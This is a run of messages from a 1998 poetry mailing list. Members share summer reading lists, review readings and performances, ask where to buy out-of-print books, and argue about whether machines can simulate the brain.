basinski a zine of the arths (small run of lots of short reviews)
this List
letters and email
spines, flaps, and rear covers and the occasional page
of books on all topics for all ages

babel-17 by delany
mansfield park
thomas merton's the silent life

oh yeah, read the black mt dossier of ray johnson

and as always, packaging, corrugated boxes, and signs like the one fer the evilly toxic i've heard SWINGLINE STAPLES (visible from the N (never) train hear in new york)

plans god to read this book on arp before i gotta give it back

dee

↑ Index

861. Gary Sullivan
Groovy Summer Reading
Wed 24 Jun 1998

Yay! I love this topic ... so, okay, here's what I *plan* to read (i.e., what's sitting there on the floor by my bed):

(a) Groovy History Books: _Black Athena_, vols I & II; Jane Ellen Harrison's Prolegomena, Epigolomena (sp.?) & Themis; and _Hamlet's Mill_ (I've read all of these books before; this time, I hope to maybe retain a greater portion of the info) ... also (new-to-me) a couple of books of essays on _Beowulf_ (since my friend Erik Belgum gave me a tape of someone reading it in the original Old English) ...

(b) Groovy Artists' Books: Brad Freeman's _Mzlk_ ... the "Sans Soleil" of artists' books ... one of the most extraordinary art-things I've ever seen ... offset ... photos ... text ... an exploration of "narrative" in the broadest sense of that word ... "come-to-papa!"

(c) Groovy Poetry Books Received in the Mail from Listpeople, specifically: Pam Brown, Bill Luoma, Daniel Bouchard, Sheila Murphy, Gene Frumpkin (I think Sheila had this sent to me? ... if so, wow, thanks! I don't think Gene's on the list), uhhhhh ... oh, a copy of _Mike & Dale's_ (of which I've only thus far read the Duncan McNaughton interview), a couple copies of _Arshille_ (thus far have read only the interview of David Bromige by Kevin Killian) ... O, and I should take this opportunity to tell listpeople with mags & presses who send me cards asking to purchase their wares ... I can't! I'd have to give up food & I'm too skinny as it is! Let's trade stuff! I've got Detour Press books to trade by Johanna Drucker, Erik Belgum, Spencer Selby, David Gilbert, Stephen-Paul Martin! Back issues of Exile! Also! Tapes of poets reading! Like 100 tapes! Hi Kwality(TM) Bootlegs, all of 'em! Let's make a deal, bay-bays! I don't mean to be rude or

forward! Please-to-take-this-the-right-way, as-two-humans-with-their-faces-approaching-each-other-in-mutual-understanding! As a "special appeal" for those "comfy sweater" feelings of togetherness-in-sending-books-back-and-forth-without-exchange-of-filthy-mone y-I-don't-have!

(d) Groovy Li-berry Poetry Books Just Checked Out Yesterday: Marianne Moore's _Complete Poems_ (well, I *had* a copy, but didn't want to cart it halfway across the country), Anna Akmantova's _Selected_, Frederico Garcia Lorca's _Selected_ (w/translations by numerous people including listperson Jerome Rothenberg) (oh, and I got to use his poem "Madrigales" twice yesterday, you'll have to imagine how, but *not* to, like, generate a poem of my own or anything like that...), and, oh, you know, stuff I could no longer justify actually owning since the li-berry always stocks 'em ...

(e) Groovy Manuscripts by Laurie Price, Geoffrey Young, Rachel Loden, Mitch Highfill, Rachel Levitsky, George Albon ... did I miss any Rachels ...? O, and a small, ultra-groovy hand-made-edition prose work-with-photos by lurking listperson Brenda Iijima ...

O, I'm sure there are things I've left out ... dang ... but, (f) I wanna see others' lists and (g) I need some more coffee,

vibrating in the summer heat,

Gary

↑ Index

862. Alaric Sumner
2nd review of The Unspeakable Rooms
Wed 24 Jun 1998

I have just received this second review of The Unspeakable Rooms by Frank Green of Cleveland Free Times

"The Unspeakable Rooms was an absolutely riveting collaboration between two artists from Devon, England, known collectively as Gibbering Angels. Written by internationally recognized sound text poet Alaric Sumner and performed by Grotowski-influenced actor Rory McDermott, it was a brilliantly conceived and powerfully executed meditation on the relationship between language and the body. DenseŠ enigmatic, poetic, tightly structured, and spiritually movingŠ Beginning and ending in stillness and breath, The Unspeakable Rooms employed language and the ghosts and shadows of language, the human body and its projected double, the human voice and its recorded echo, in order to explore their limitations, language's 'tumbled towers' and the body's 'unspeakable ruins'. As if to prove its theme I find it impossible to describe the work adequately with words. Complicating the perception of both time and space, it was one of the

most powerful performances I've ever witnessed, and I've attended hundreds. A difficult masterpiece."

We are seeking performance venues (galleries and live art spaces ideal - requires blackout) for this work.

Performance Writing
Dartington College of Arts
Totnes
Devon TQ9 6EJ
http://www.dartington.ac.uk/prospectus/pw.html

Virtual publication: text of 'error studies and portraits' in issue #1 of Cartograffiti (ed. Taylor Brady)
http://writing.upenn.edu/AandL/english/pubs/spc/cartograffiti/contents/poems.htm l

"The Unspeakable Rooms"
Eleventh Performance Art Festival, Cleveland, Ohio
http://www.performance-art.org/weekone.html
"One of the most stunning performances the Festival has ever presented. A stark, stripped-down, minimalist workŠ McDermott's performance was utterly committed and terrifying. From the hoots and hollers and long applause that followed, the work Š was clearly the favourite."
Amy Bracken Sparks in "The Plain Dealer", May 22 1998

↑ Index

863. **Pritchett,Patrick**
Re: Tuesday at Naropa
Wed 24 Jun 1998

---

gave us readings by Max Regan, Cole Swensen and Elizabeth Willis. It was also my first encounter with Peter Gizzi. Who is quite remarkable. Especially when he's holding forth on Jack Spicer. But more on that later, if it all...

Max Regan began her portion of the evening with readings from poems she described as "conversations between the I and the She." Her first poem was "Magdalena," a moving, finely nuanced portrait of Frieda Kahlo - "she was draped in golden powder, longing for sleep." This was followed by a series of what might be called love poems, or perhaps, lyrics of erotic disquisition and longing. There was a closeness and a damp heat to these works - a swoony, burnished feeling as of a long long summer dusk where satiety and absence intermingled, now gravely, now playfully. "Her breathing like a porch swing after dinner..."

Max closed with a longish, comic monologue poem that recounted her first encounter with _Leaves of Grass_ at the hands of a professor who was convinced that "the dark secret" of Whitman's power as a poet derived from his possession by "a small, fiercely literate elf." Textual evidence was offered, not the least of which was the kabbalistic clue - "Song of My Elf"

***

Cole Swensen started her reading with a marvelous tribute to Marianne Moore (it appeared a few issues back in Conjunctions). Interlarded with lines from many of Moore's poems, it evokes MM's world and her poetics, from the twist of her wrist to the Pangolin's tail. "I think we love people for what they love ... words cluster like chromosones, determining the procedure ... she was angrier than you would have thought from her pictures."

Following came poems from her latest book, _Noon_, (from Sun & Moon). From "Signature" - "He drank from the cup of his hands as the water ran down his body all over his body drowning his body you could see to the bottom there." From "Body Parts for the New Millennium" - ("the body," and the trope of the body, being one of Swensen's idee fixe's, this poem reads like a suite of transformations) - "And there we'll be with all our hands in the certain curve of falling things." And, lastly, from "Water, Water" - "I used to live. I used to claim I would never leave. And so I never left. Some rivers burn - they say this isn't good, but I'm no one to judge, and I think it's got its points."

Swensen's language is so spare, so balanced, weighted and finely measured as to be almost clinical - and from this arises a tremendous triple-distilled clarity, each word enveloped in its own nimbus, discrete lumens to set the light-meter's needle a-quiver. I'll close on Cole by adding a brief intro I wrote for her reading last April at the Left Hand. "The poems of Cole Swensen seem to me written in the margins of a central loss and written in such a way that that loss is continually reconfigured by the act of inscription. The valences of what is marginal and what is central are re-charged so that their places, their orbits, their affinities, are always new. In her work, the simplicity of ultimate things finds a home: by that I mean, the things of our lives here on earth -- the sun, the grass, the body, water. Her language inhabits all this with a careful breathing that is also the most careful listening. The intimacy and elegance of her work re-affirms what every poet comes to know: that the longing of language for being is also the longing of language for language -- and its dwelling."

***

Elizabeth Willis was the evening's final reader. She began with "A Maiden," from her book _The Human Abstract_. "Though my heart were a pear tree threaded with fire Lion you leapt through me like fineness in the boundary gene ... What is a Maiden, Boatswain, but a fiery lair and a teary citadel. By the

smallest shipwreck a Daughter is laughter." (This is heady stuff!) She next read from new work, two poems on painters: the first on Richard Dad (sic), a mad Victorian painter and, believe it or not, a patricide. The second after a work of Charles McIntosh's called, "The Tree of Personal Effort" ("shipwrecks return like magnets to their owners"). Followed by "Road Poems" (working title), an elegy, and "Without Pity" - "To embark sleepily being everywhere (radiant) ... To find the branch of a underground river ... To make or love anything ... To hate the agony of any human thing."

Willis closed with a condensed version of "The Human Abstract," a long poem that, among other things, explores language's complicity in the fabrication of history and the self. "Innocence shags experience and I'll never grow. Experience catches the dove, and I'm lost." "Human understanding is a savage construction of dilation and resistance This picture was taken from a false angle The victor a transfer point We live in a sunspot little o" "The autumn I have is the autumn I lost Existing means dressing up" "This love is a deer crying in a gentleman" "The eyebright in season and not the storm between I'm late and come adrift."

In Willis' poetry you feel the slipperiness of language not as a foreclosing of linear sense - the willed destruction of narrative integument - but as an opening onto a wider field - in which the gnomic becomes a form of grace, a disclosure of something like the numinous; grave, tender, intimate interlocutions pointing toward "the tears in things" and the tears in words, and the ancientness of all our modern habits. A poetry of liminal scape and liberating verticality - the violence that is language worked and re-worked to its barest synaptic node and flutter - loss and retrieval alike as gestures of an affectionate disfiguring that is human knowledge. Enigma as the Friend.

Patrick Pritchett

↑ Index

864. Simon DeDeo

Simon Armitage

Wed 24 Jun 1998

I'm trying to get ahold of Simon Armitage's _Zoom_, published 1990; does anybody know where I might find a copy? (hopefully online, but a telephone number would help; if anybody on the list wants to sell a copy, I'm game.) It appears to be out of print on Amazon, but, since it was first published in the UK, I wonder if there is an equivalent resource over the pond. Please backchannel (unless you want to pontificate on the evils of mass bookstores; I really have no choice, since I'm pretty much in the middle of nowhere. Indeed, if anybody has *any* Armitage they're looking to hock, I'll pay postage and what you think is fair.)

Does anybody have any comments on his work? A friend of mine gave me a copy of the latest _Verse_ which has some of Armitage's work in it, and I was quite impressed; reading the Cummings & Peters article in V.1 of Witz on Minimalism, I wonder if they're familiar with his stuff (or at least the few poems I've read.)

-- Simon

http://www.fas.harvard.edu/~sdedeo/localpapers.html
[redacted]

↑ Index

865. Robert Corbett
Frames and Paranoia
Wed 24 Jun 1998

Clipping from my browser into Pine has created an appropriately framed quote from Phil Dick about system-building and paranoia. I think the quote speaks to both to the poetry and paranoia thread (which was mysteriously dropped) and the AI framing debate. The great system-building poets that I know of (William Blake and Ezra Pound) certainly were paranoid, albeit in much different ways.

Robert

"All systems -- that
is, any theoretical, verbal, symbolic, semantic etc.
formulation that attempts to act as an
all-encompassing,
all explaining hypothesis of what the universe is
all about
-- are the manifestations of paranoia. We should be
content with the mysterious, the meaningless, the
contradictory, the hostile, and most of all the
unexplainably warm and giving."

Robert Corbett "you are there beyond/ tracings flesh can [redacted] take,/ and farther away surrounding and University of Washington informing the systems" - A.R. Ammons

↑ Index

866. R. Gancie
my P.C.'s papa threw a few bricks in his time, pal
Wed 24 Jun 1998

"Lke the Colossus, the ENIAC had been designed for a specific task, that of calculating artillery range tables. Essentially it was to simulate the trajectory of shells through varying conditions of air resistance and wind velocity, which involved the summation of thousands of little pieces of trajectory."---from Alan Turing:The Enigma by Andrew Hodge; see also The Computer from Pascal to von Neumann by Herman H. Goldstine & John von Neumann and Norbert Wiener: From Mathematics to the Technologies of Life and Death by Steve J. Heims

↑ Index

867. R.Gancie/C.Parcelli
Re: Simon Armitage
Wed 24 Jun 1998

Used book dealers from around the country, the U.K., Australia, plus others are on-line through several bookselling services. You can easily search for single titles, and can even leave an e-mail message so you'll be notified anytime someone posts the book you're looking for.

Anyone can search these sites -- even Amazon uses them for their out-of-print searches.

They are:

Advanced Book Exchange http://www.abebooks.com/

Bibliofind http://www.bibliofind.com/

Interloc http://www.interloc.com/

There's also a site called MX_Bookfinder, which searches for new & used books. I don't have their address, but I know you can find them through Yahoo.

regards,
Rosalie Gancie

Simon DeDeo wrote:
>
> I'm trying to get ahold of Simon Armitage's _Zoom_, published 1990;
> does anybody know where I might find a copy? (hopefully online, but a
> telephone number would help; if anybody on the list wants to sell a copy,
> I'm game.) It appears to be out of print on Amazon, but, since it was
> first published in the UK, I wonder if there is an equivalent resource

> over the pond. Please backchannel (unless you want to pontificate on
> the evils of mass bookstores; I really have no choice, since I'm pretty
> much in the middle of nowhere. Indeed, if anybody has *any* Armitage
> they're looking to hock, I'll pay postage and what you think is fair.)
>
> Does anybody have any comments on his work? A friend of mine gave me a
> copy of the latest _Verse_ which has some of Armitage's work in it,
> and I was quite impressed; reading the Cummings & Peters article
> in V.1 of Witz on Minimalism, I wonder if they're familiar with his stuff
> (or at least the few poems I've read.)
>
> -- Simon
>
> http://www.fas.harvard.edu/~sdedeo/localpapers.html
> [redacted]
> [redacted]
> [redacted]

↑ Index

868. **Don Cheney**
bill gates: doctor of madness?
Wed 24 Jun 1998

---

one of my favorite old bands was an english band called the doctors of madness (this is from the late 70's early 80's). anyway, i typed in "doctors of madness" into an infoseek search on the web and the first entry it gave me was "microsoft corporation."

↑ Index

869. **Maria Damon (Maria Damon)**
Re: Weiner's _Code Poems_ and reductiveness
Wed 24 Jun 1998

---

thanks all foryour encouragements

At 3:17 PM 6/23/98, Tom Beard wrote:
>> maybe eventually. i feel kinda shy about it because i'm concerned that
>> it'll be considered reductive...
>
>Don't be afraid to be reductive, Maria. Think of the word "reduction" in a
>culinary context instead: simmer down the sauce until it's denser, richer,
>tastier.
>

>Every act of reduction is also an act of creation, as long as one bears in
>mind the terms and limitations of the reduction. Everything can be
>"reduced" according to a variety of discourses: a wall is "only" a
>collection of bricks; it is "only" a 950kg object; it is "only" a certain
>mixture of limestone, straw and earth; it is "only" an RGB value of
>#cc3300; it is "only" a metaphor for alienation. Every reduction gives us a
>new way of talking about it.
>
>
> Tom Beard.

↑ Index

870. David Baratier
where's frank?
Wed 24 Jun 1998

---

apologize if this is redundant but does anyone have e-mail address for frank bruno.

be well

david baratier

"outside a book-- a dog is a man's best friend
 inside a dog it's too dark to read"
--Marx

↑ Index

871. Maria Damon (Maria Damon)
Re: Taslima Nasrin?
Wed 24 Jun 1998

At 4:17 PM 6/23/98, Herb Levy wrote:
>Can anyone tell me anything about the poet Taslima Nasrin?
>
>Saxophonist Steve Lacy has composed a new suite of pieces setting
>translations of Nasrin's poems to music called the Cry that's going to be
>performed in Vancouver this Friday.
>
>The suite will also be performed in Washington DC soon (I think at the
>Kennedy Center) for those who may not be heading top the Southwest for the
>coming weekend.
>
>

>
>Herb Levy
>[redacted]

speaking of steve lacy...just saw him monday nite, then last nite george clinton and p-funk, and tonight, chucho valdes. i NEVER do this much stuff but it's my first real week of vacation, my computer's dead, and there's too much good stuff out there to miss. lacy was wonderful, what sweet music! all delicate, melodic, precise. clinton was magisterial like a mage; the venue was Prince's club The Quest. i was with a friend who's a professor of religion and at one point i turned to her and said that with her training she was probably the best person present equipped to analyse the show. it was tremendous. we chanted many short lines of one syllable words; in each line, the word "funk" was featured ("everybody get funked up" "we want the funk, gotta have that funk" etc) and there was one, i'm not sure what it was everyone else was singing, but i was singing, "...first we're gonna do the dog." it was sheer delight. report on chucho valdes soon. my computer's dead so i must rely on going in to school (ugh) to check e-mail etc. which is why i haven't been my usual loquacious self lately.

↑ Index

872. Maria Damon (Maria Damon)
Re: Summerer
Wed 24 Jun 1998

At 6:37 PM 6/23/98, J. Pecqueur wrote:
>Listees:
>
>Just wondering what books people are reading this season. I have Brad
>Gooch's _City Poet_, Acker's, _Great Expectations_, Deleuze's _Dialogues_,
>and a few by Forrest Gander laying around open.
>
>If this thread has wound through recently, sorry. My lurk mode was
>recently suspended due to lack of natural light.
>
>J.P.

m foucault, the politix of truth
f pessoa, the book of disquiet
n mackey, discrepant engagement

↑ Index

873. **Maria Damon (Maria Damon)**
Re: Groovy Summer Reading
Wed 24 Jun 1998

---

oh yeah i forgot, race traitor's surrealism: revolution against whiteness special issue. charming but unconvincing. i need to talk to someone about this.

At 11:41 AM 6/24/98, Gary Sullivan wrote:
>Yay! I love this topic ... so, okay, here's what I *plan* to read (i.e., what's
>sitting there on the floor by my bed):
>
>(a) Groovy History Books: _Black Athena_, vols I & II; Jane Ellen Harrison's
>Prolegomena, Epigolomena (sp.?) & Themis; and _Hamlet's Mill_ (I've read all of
>these books before; this time, I hope to maybe retain a greater portion of the
>info) ... also (new-to-me) a couple of books of essays on _Beowulf_ (since my
>friend Erik Belgum gave me a tape of someone reading it in the original Old
>English) ...
>
>(b) Groovy Artists' Books: Brad Freeman's _Mzlk_ ... the "Sans Soleil" of
>artists' books ... one of the most extraordinary art-things I've ever seen ...
>offset ... photos ... text ... an exploration of "narrative" in the broadest
>sense of that word ... "come-to-papa!"
>
>(c) Groovy Poetry Books Received in the Mail from Listpeople, specifically: Pam
>Brown, Bill Luoma, Daniel Bouchard, Sheila Murphy, Gene Frumpkin (I think
>Sheila had this sent to me? ... if so, wow, thanks! I don't think Gene's on the
>list), uhhhhh ... oh, a copy of _Mike & Dale's_ (of which I've only thus far
>read the Duncan McNaughton interview), a couple copies of _Arshille_ (thus far
>have read only the interview of David Bromige by Kevin Killian) ... O, and I
>should take this opportunity to tell listpeople with mags & presses who send me
>cards asking to purchase their wares ... I can't! I'd have to give up food &
>I'm too skinny as it is! Let's trade stuff! I've got Detour Press books to
>trade by Johanna Drucker, Erik Belgum, Spencer Selby, David Gilbert,
>Stephen-Paul Martin! Back issues of Exile! Also! Tapes of poets reading! Like
>100 tapes! Hi Kwality(TM) Bootlegs, all of 'em! Let's make a deal, bay-bays! I
>don't mean to be rude or forward! Please-to-take-this-the-right-way,
>as-two-humans-with-their-faces-approaching-each-other-in-mutual-under-standing!
>As a "special appeal" for those "comfy sweater" feelings of

>togetherness-in-sending-books-back-and-forth-without-exchange-of-filthy-mone
>y-I-don't-have!
>
>(d) Groovy Li-berry Poetry Books Just Checked Out Yesterday: Marianne Moore's
>_Complete Poems_ (well, I *had* a copy, but didn't want to cart it halfway
>across the country), Anna Akmantova's _Selected_, Frederico Garcia Lorca's
>_Selected_ (w/translations by numerous people including listperson Jerome
>Rothenberg) (oh, and I got to use his poem "Madrigales" twice yesterday, you'll
>have to imagine how, but *not* to, like, generate a poem of my own or anything
>like that...), and, oh, you know, stuff I could no longer justify actually
>owning since the li-berry always stocks 'em ...
>
>(e) Groovy Manuscripts by Laurie Price, Geoffrey Young, Rachel Loden, Mitch
>Highfill, Rachel Levitsky, George Albon ... did I miss any Rachels ...? O, and
>a small, ultra-groovy hand-made-edition prose work-with-photos by lurking
>listperson Brenda Iijima ...
>
>O, I'm sure there are things I've left out ... dang ... but, (f) I wanna see
>others' lists and (g) I need some more coffee,
>
>vibrating in the summer heat,
>
>Gary

↑ Index

874. Brent Long
Re: Summerer
Wed 24 Jun 1998

If you can get your hands on Gander's most recent, _Science and Steepleflower_, I highly recommend it. Also, following some new insight thanks to a few threads here, I am re-reading L.Cohen's _Book of Mercy_, and awaiting his _Book of Longing_, which is due out this summer.

At 03:17 PM 6/24/98 -0600, you wrote:
>At 6:37 PM 6/23/98, J. Pecqueur wrote:
>>Listees:
>>
>>Just wondering what books people are reading this season. I have Brad

>>Gooch's _City Poet_, Acker's, _Great Expectations_, Deleuze's _Dialogues_,
>>and a few by Forrest Gander laying around open.
>>
>>If this thread has wound through recently, sorry. My lurk mode was
>>recently suspended due to lack of natural light.
>>
>>J.P.
>
>m foucault, the politix of truth
>f pessoa, the book of disquiet
>n mackey, discrepant engagement
>
>
[redacted]

↑ Index

875. **Brent Long**
Books
Wed 24 Jun 1998

Dear List Members,

I am also looking to purchase any of the earlier Lost Roads books, if anyone happens to have them lying around and is willing to part with them. Anything from Lost Roads # 1 - # 18 would be most helpful, with the exception of Ralph Adamo's _The End of the World_, and _Sadness At the Private University_, both of which I already have.

Thanks.
[redacted]

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876. **trbell**
Poetics of space
Wed 24 Jun 1998

Only recently got around to reading Johanna Drucker's Century of Art Books and was appalled at what I had missed. I was also struck with the question of whether anyone's done any thing close (even a brief article) regarding artist's pages on the internet. The parallels are obvious (at least to me)? I've attached some brief quotes to give a flavor for those not familiar with Century.

tom bell

"Blake believed that each individual had their own vision, values, and structure of belief. Any assertion of a unified view of the world, the cosmos, or spiritual life misrepresent3ed the originality and variety of human experience. (p. 23)....'innocence' was a condition of 'freedom from Gravity', a condition of enlightenment produced through engagement with the vital energy and spontaneity of life (24) The lightness of watercoloring in this work fits ...immateriality. Notion of Experience ....was not the opposite but the complement - a more innformed and liberated state, conscious, and energized... the enemies of both innocence and experience were rigid constraints of thought or spirit, rote convention and the absence of love, and the coercive forces of oppressive education or law."

25. "His capacity to mobilize the space of the page, the tones of the paper, the colors of the ink and paint and perform a drama of monumental proportions witin the relativity small scale of his books dmonstrates an understanding of the book's communicative power."

↑ Index

877. **Simon DeDeo**

Re: summerer

Wed 24 Jun 1998

At 6:37 PM 6/23/98, J. Pecqueur wrote:
>Listees:
>
>Just wondering what books people are reading this season. I have Brad
>Gooch's _City Poet_, Acker's, _Great Expectations_, Deleuze's _Dialogues_,
>and a few by Forrest Gander laying around open.
>
>If this thread has wound through recently, sorry. My lurk mode was
>recently suspended due to lack of natural light.
>
>J.P.

An n+1th pass on the Pisan Cantos, with Terrell's excellent guide at hand. Whatever unread Ashbery I can get my hands on, which right now appears to be _Can You Hear, Bird_. The aforementioned Armitage. Zukovsky's lyrics, if they ever get here. Seamus Heaney's _Spirit Level_. The collected Adrienne Rich. Bidart's _Desire_ (I missed the "Desire" thread -- any mention of him?); I heard him read up in Cambridge last year; spectacular. One of the few readers I know who can sustain through a 20 minute poem. Some drafts from Ben Mazer, a Cambridge poet.

Most of these are photostats, which makes things a little annoying.

Richard Rorty's _Philosophy & the Mirror of Nature_. One of the few Anglo-American philosophers without a Chicken Little attitude towards the French. Foucalt's _Archeology of Knowledge_ ("the boring one", apparently; so far not as fun as Hist of Sex or D&P.) A second pass on Adorno's _Aesthetics_. Perloff's _Poetic License_, if it ever makes it here. Somebody gave me a copy of Derrida's _On Grammatology_, and it kind of sits there laughing at me and daring me to read it. Any suggestions as to how to proceed, other than selling it and using the funds towards two and a half minutes of graduate school?

Some of Anne Dillard's essays, a stock of Martin Amis (_London Fields_, right now), Nabokov's _Lolita_ (anybody know the date they're showing the Jeremy Irons version on the box?). _A Guide to Birds of Puerto Rico and the Virgin Islands_.

Does music count? I have a few dubs I made in the Lincoln Center library before I left -- mostly twelve tone string quartets; Schoenberg, Weber; Bach's Art of Fugue which I never tire of and his Sonatas and Partitas for Violin, which I treat with care lest I do tire. Clifford Brown is also getting a lot of airtime, as is Ani Difranco.

I'm not sure how many points of contact this list has with the bedside stacks of others; however I can recommend Valerie Wohlfeld's _Thinking the World Visible_; a write up is up on http://www.fas.harvard.edu/~sdedeo/SY/woh.html.

-- Simon

http://www.fas.harvard.edu/~sdedeo/localpapers.html

[redacted]

↑ Index

878. **Peter Ganick**

Re: summerer

Wed 24 Jun 1998

> *At 6:37 PM 6/23/98, J. Pecqueur wrote:*
> *Listees:*
>
> *Just wondering what books people are reading this season. I have Brad Gooch's _City Poet_, Acker's, _Great Expectations_, Deleuze's _Dialogues_, and a few by Forrest Gander laying around open.*
>
> *If this thread has wound through recently, sorry. My lurk mode was recently suspended due to lack of natural light.*
>
> *J.P.*

listmembers...

i plan to read the indian epic, the Mahabharata, in the kisari mohan ganguli translation into prose...at approx 4000 pages that, and potes & poets new chap-book series, should keep me busy...

peter ganick

↑ Index

879. **Simon DeDeo**

Re: Cognitive wheels [of the most intelligent and stupidest machine ever to be built]

Wed 24 Jun 1998

> *It is understood that all the implementation details below the level of intended modelling will consist, no doubt, of cognitive wheels--bits of unbiological computer activity mimicking the gross effects of cogntitive sub-components by using methods utterly unlike the methods still to be discovered in the brain. [.....]*
>
> *Any natural process can be emulated successfully by an invented mechanism. It can also, at least potentially, be emulated in a manner that is more accurate in its functions than the natural predecessor to the invention. It is decisively not necessary to first understand all the details of how a process functions, right down to the quanta of which it is presumably comprised.*

This is patently untrue on at least two size scales. Macroscopic chaotic effects create insurmountable simulation problems where the slightest difference in initial conditions between two functionally isomorphic systems leads to large scale deviations in behaviour. On the subatomic level, quantum fluctuations lead to diverging futures even for two identical (down to the Planck limit) systems. Often these two effects feed into each other, and at least one philosopher/physicist has suggested that this might be the fundamental limit to machine simulations of the brain, which is understood to work at the quantum mechanical level in neural microtubules.

<snip of Frank Tipler.>

To return this all (perhaps tenuously) to the poetics of form; what does it mean for language that the apparent structure of the world prevents two objects having identical futures for all time, and that two objects with apparently similar pasts may suddenly and violently diverge from each other revealing essential but previously hidden difference?

-- Simon

http://www.fas.harvard.edu/~sdedeo/localpapers.html
[redacted]

↑ Index

880. **Robert Corbett**
Re: Summerer
Wed 24 Jun 1998

On Wed, 24 Jun 1998, Maria Damon (Maria Damon) wrote:

> *At 6:37 PM 6/23/98, J. Pecqueur wrote:*
> *Listees:*
>
> *Just wondering what books people are reading this season. I have Brad Gooch's _City Poet_, Acker's, _Great Expectations_, Deleuze's _Dialogues_, and a few by Forrest Gander laying around open.*
>
> *If this thread has wound through recently, sorry. My lurk mode was recently suspended due to lack of natural light.*
>
> *J.P.*
>
> *m foucault, the politix of truth*
> *f pessoa, the book of disquiet*
> *n mackey, discrepant engagement*

Julia Kristeva, The Powers of Horror
Jon Anderson, Che
Leo Tolstoy, War and Peace
bp nichol, the matyrology

Robert Corbett "you are there beyond/ tracings flesh can [redacted] take,/ and farther away surrounding and University of Washington informing the systems" - A.R. Ammons

↑ Index

881. **Kathy Lou Schultz**
Re: bill gates: doctor of madness?
Wed 24 Jun 1998

Don, I must thank you for this post. I work at a trade publication covering the IT industry, and I need all the humor I can get. Kathy Lou Schultz

Don Cheney wrote:
>
> one of my favorite old bands was an english band called the doctors of
> madness (this is from the late 70's early 80's). anyway, i typed in
> "doctors of madness" into an infoseek search on the web and the first entry
> it gave me was "microsoft corporation."

↑ Index

882. Alan J.J.N. Sondheim
Re: Summerer
Wed 24 Jun 1998

Murasaki, Genji
Kaufman and Welsh, Running Linux
Nebeker, Calculating the Weather
Abe, The Ruined Map
Roustang, The Lacanian Delusion
 at the moment
Alan

↑ Index

883. Jordan Davis
dave!
Wed 24 Jun 1998

Outside of a dog, a book is a man's best friend.
Inside a dog, it's too dark to read! -- Marx

As Marx said, he was the one who got to be the professor because he was the one who had read a book. He remembered it well. It was green.

unless of course, Dave, you're doing a variation on Dug Rothschild's excellent wrong-joke, the various punchlines of which are:

> "I know! It's steerin' me gonads!"
> "For golly! It's rotatin' me testes!"
> "Entablature! It's turnin' me balls!"

Jordan

↑ Index

884. **morpheal**

Re: Cognitive wheels [of the most intelligent and stupidest machine ever to be built]

Wed 24 Jun 1998

> *This is patently untrue on at least two size scales. Macroscopic chaotic effects create insurmountable simulation problems where the slightest difference in initial conditions between two functionally isomorphic systems leads to large scale deviations in behaviour. On the subatomic level, quantum fluctuations lead to diverging futures even for two identical (down to the Planck limit) systems. Often these two effects feed into each other, and at least one philosopher/physicist has suggested that this might be the fundamental limit to machine simulations of the brain, which is understood to work at the quantum mechanical level in neural microtubules.*

I like the story about the man who approached the diner at the end of the road, where it branched off towards an unmarked, but well guarded gate. (It is a good metaphor for questions of that kind.) There was a man and a woman working in the diner. A stranger, probably a peddler or one kind or another, drove up to the diner and went in. He ordered a meal. While eating, he asked the man behind the counter: "say, do you know what they do behind that gate, down that road next door to here". The man behind the counter answered: "yes, but I would have to kill you if I told you about it.".

That's it, end of story.

I like also the line from old Bill: "there are more things in heaven and on earth than are dreamt of in your philosophies". I think that is accurate, but it might be a paraphrase.

That is the only postscript to that story.

> *To return this all (perhaps tenuously) to the poetics of form; what does it mean for language that the apparent structure of the world prevents two objects having identical futures for all time, and that two objects with apparently similar pasts may suddenly and violently diverge from each other revealing essential but previously hidden difference?*

What makes you think that two quanta cannot have identical futures ?

It is absurd that your thinking would be so severely limited. It is unlikely but it is certainly possible.

M.

Pontiff of Morphealism.

↑ Index

885. **Simon DeDeo**

Re: Cognitive wheels [of the most intelligent and stupidest

Wed 24 Jun 1998

machine ever to be built]

Unfortunately, I think I unwittingly injected a certain amount of (unintentional) ad hominem in my last response; I apologize, Morpheal, if that rubbed you the wrong way. When all you know of someone are his ideas, then attacking the ideas gets awful close...

To respond:

> *To return this all (perhaps tenuously) to the poetics of form; what does it mean for language that the apparent structure of the world prevents two objects having identical futures for all time, and that two objects with apparently similar pasts may suddenly and violently diverge from each other revealing essential but previously hidden difference?*
>
> *What makes you think that two quanta cannot have identical futures ?*

Nothing. However, the apparent promise of parallel development made by two identical particle clouds is just that -- a promise. As far as we can tell (and by "we", I mean the people who spend their time staring into aptly named cloud chambers), there can be nothing "behind" the particle clouds to tell us where a wavefront will collapse upon observation or disturbance. At the risk of lecturing you, it's the hidden variable theorem. There is nothing inherently similar about two quanta that follow the same path; their behaviour is governed to a certain extent by "true" physical randomness[*], which may or may not average out in the macroscopic case.

You can certaintly deny the validity of physics, but if you're going to use physics to make a point about consciousness and language, then you have to accept it. Unless you're an armchair physicist who sends crabbed green ink missives about Mayan civilizations and quantum gravity to the Physics Review, which I trust you're not. Besides, I've always found the subject interesting enough without the fakery.

I'm not sure if the rest of the list is interested in the disagreement, so perhaps we should continue this backchannel?

> *It is absurd that your thinking would be so severely limited. It is unlikely but it is certainly possible.*

I'll take that as a veiled compliment.

best wishes,

Simon

----- [*] "randomness" here implies a sequence which it is impossible to represent in a shorter utterance than the original, a scary concept if you really think about it.

http://www.fas.harvard.edu/~sdedeo/localpapers.html

[redacted]

↑ Index

886. **David Baratier**

Re: dave!

Wed 24 Jun 1998

Jordan on the money. What ever it is, I'm against it.

How much in Canadian for kootenay. I just got paid man, got me a pocket full of t(w)ooney's.

As for my plans: I am planning to print out a list of everyone here, read all of your books and conduct an interview of you'all. Here are a few questions to start answering:

In that book of yours that I am planning to read shortly after the interview, because we're like that, why the astringent use of the hemistich shortly before the epirrhematic syzygy?

Do you believe the scandal of Ellis Wynne tearing apart the dyfalu technique of Dafydd ap Gwilym three centuries later might have influenced the third piece in the book two centuries afterward?

be well

David Baratier

↑ Index

887. **George Bowering**

Re: summerer

Wed 24 Jun 1998

I notice that most answerers tell us what they plan to read, not what they are reading. Maybe we could do that on writing, too. I plan, for instance, to write a penetrating essay on every work of Samuel Beckett.

George Bowering.

,

2499 West 37th Ave.,

Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

888. **Aaron Vidaver**

A Limited-Time Offer for Members of the Poetics List: The Complete Incomplete Back Issues of _Writing_ from the Kootenay School of Writing

Wed 24 Jun 1998

Yes, it's true:

